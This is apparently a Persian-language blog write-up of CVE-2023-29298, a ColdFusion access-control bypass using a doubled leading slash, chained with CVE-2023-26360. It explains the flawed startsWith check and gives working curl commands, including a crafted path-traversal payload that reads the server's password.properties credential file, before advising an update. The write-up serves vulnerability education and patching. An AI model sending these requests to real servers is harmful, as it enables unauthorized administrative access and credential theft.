تیم امنیتی Rapid7 یه آسیبپذیری کنترل دسترسی روی ColdFusion پیدا کرده، اونم جایی که دسترسی به پنل و خدمات مدیریتی توسط درخواستهای خارجی محدود شده. این کنترل دسترسی خارجی، یه لیستی از IP ها رو داره که فقط اون آدرسها مجازن تا به Endpointهای مدیریتی روی ColdFusion دسترسی داشته باشن. وقتی یه درخواست از یه آدرس IP به سمت سرور ارسال بشه که تو این لیست نباشه، دسترسی به منبع مورد نظر ممکن نیست.(مثل اینکه این قابلیت پروفایل امنه) ?
از طریق این لینک میتونید یک پروفایل امن ایجاد کنید. پروفایل امن تنها اجازه میده تا آدرس IPهای خاصی اجازه دسترسی به مسیرهای حساس مدیریتی رو داشته باشن. ?
با توجه به این آسیبپذیری، هکر میتونه به تمام Endpointهای CFM و CFC در مسیر /CFIDE/ دسترسی پیدا کنه که شامل 437 فایل CFM و 96 فایل CFC در نسخه 2021 آپدیت 6 هست؛ این موضوع باعث از بین رفتن تضمین پروفایل امن در سرویس ColdFusion میشه. البته اینم بگم که دسترسی به این مسیرها به معنی این نیست که هکر میتونه از همه این منابع استفاده کنه و خیلی از اونها قبل از اجرا شدن، نشست کاربر رو چک میکنن. با این حال تاثیری که دسترسی به این منابع میتونه داشته باشه، به شرح زیره:
خب، موقعی که یه درخواست خارجی به مسیرهای حساس زده میشه، کنترل سطح دسترسی اون درخواستها رو محدود میکنه، درواقع کسی نمیتونه با یه درخواست خارجی، به این مسیرها دسترسی داشته باشه.
بعضی از Java Servletها کنترل سطح دسترسی رو روی منابع خودشون اعمال میکنن:
coldfusion.CfmServlet
که تمامی درخواستهای ارسال شده به CFMها رو مدیریت میکنه.coldfusion.xml.rpc.CFCServlet
که تمامی درخواستهای ارسال شده به CFML و CFC رو مدیریت میکنه.coldfusion.rds.RdsGlobals
که درخواستهای RDS رو مدیریت میکنه.قابلیت کنترل دسترسی در کلاس coldfusion.filter.IPFilterUtils
تعریف شده که متد checkAdminAccess
منطق مربوط به دسترسی رو اجرا میکنه که میتونید کدش رو در ادامه ببینید.
با بررسی این کد میتونیم متوجه بشیم که مسیری که بهش درخواست زده میشه با یک لیست مقایسه میشه و اگه اون مسیر، تو این لیست وجود داشته باشه، بررسی میکنه که آیا IP درخواست کننده در لیست آدرسهای مجاز وجود داره یا نه؟ اگه درخواستی که به مسیرهای حساس زده میشه، از IP متفرقه باشه، یک خطا رخ میده و جلوی دسترسی ما گرفته میشه. ?
آدرس ارسال شده از طرف هکر با تابع java.lang.String.startsWith
بررسی میشه که به راحتی میشه با اضافه کردن یه کاراکتر به اول مسیر، اون رو دور زد. اینجا با اضافه کردن یه / به ابتدای مسیر، به راحتی تابع دور زده میشه. برای مثال وقتی میخوایم به مسیر /CFIDE/adminapi
درخواست بزنیم، چون این مسیر حساس هست و دسترسی بهش ممکن نیست ما به مسیر //CFIDE/adminapi
درخوست میزنیم و این مسیر دیگه حساس در نظر گرفته نمیشه چونکه تو لیست نیست!
بهرهبرداری از این آسیبپذیری، روی نسخه ColdFusion 2021 Update 6 (2021.0.06.330132) نصب شده روی Windows Server 2022 و با فعال کردن پروفایل امن برای دسترسی به مسیرهای حساس انجام شده و تنها آدرس مجاز، 127.0.0.1 هست. ما میتونیم به راحتی با یک دستور cURL مشخص کنیم که سامانه آسیبپذیره. برای مثال، ما میخوایم از تابع wizardHash استفاده کنیم و برای اینکار باید به Endpoint مربوطه ینی /CFIDE/wizards/common/utils.cfc
یک درخواست cURL بزنیم. مطابق دستور زیر:
curl -v -k http://172.23.10.174:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo
همونطور که تو تصویر زیر مشخصه، امکان ارسال درخواست وجود نداره و ما خطای 500 گرفتیم.
حالا میایم و از دوتا Forward slash تو درخواست استفاده میکنیم:
curl -v -k http://172.23.10.174:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo
خب میبینیم که پاسخ 200 گرفتیم! ?
حالا میایم توی مرورگر و سعی میکنیم صفحه مدیریت ColdFusion رو باز کنیم. اما حتی این مسیر هم جزو مسیرهای حساسه و از اینترنت قابل دسترس نیست. ?
اما به راحتی با اضافه کردن یه / به ابتدای مسیر، صفحه باز شد! ?
همونطور که دیدیم با استفاده از آسیبپذیری CVE-2023-29298 میتونیم کنترل دسترسی رو دور بزنیم، اما این مورد وقتی خطرناکتر میشه که با آسیبپذیریهای دیگهای Chain بشه، مثلا آسیبپذیری CVE-2023-26360؛ این آسیبپذیری منجر میشه بتونیم فایلهای داخلی سرور رو بخونیم (البته میشه ازش به RCE هم رسید ولی اینجا باهاش کاری نداریم فعلا) برای خوندن فایلهای داخلی، هکر باید حتما به یه CFC Endpoint معتبر درخواست بزنه. مشکل اینجا بود که کار هکر خیلی سخته چون اگه پروفایل امن فعال باشه، هکر نمیتونه به این Endpoint درخواست بزنه ولی الان میخوایم با استفاده از آسیبپذیری 29298 این مشکل رو رفع کنیم و فایل password.properties
رو بخونیم. دستور cURL اون به این شکله:
curl -v -k http://172.26.181.162:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"
که البته بهمون اجازه دسترسی به این Endpoint داده نمیشه. ☹️
پس میایم و دستور زیر رو میزنیم.
curl -v -k http://172.26.181.162:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"
و نتیجه میشه خوندن فایل ?
خب دیدیم که با استفاده از دو آسیبپذیری CVE-2023-29298 و CVE-2023-26360 تونستیم بدون مجوز، فایل داخلی password.properties
رو بخونیم. ?
برای رفع این مشکل فقط کافیه ColdFusion رو به یکی از نسخههای زیر آپدیت کنیم.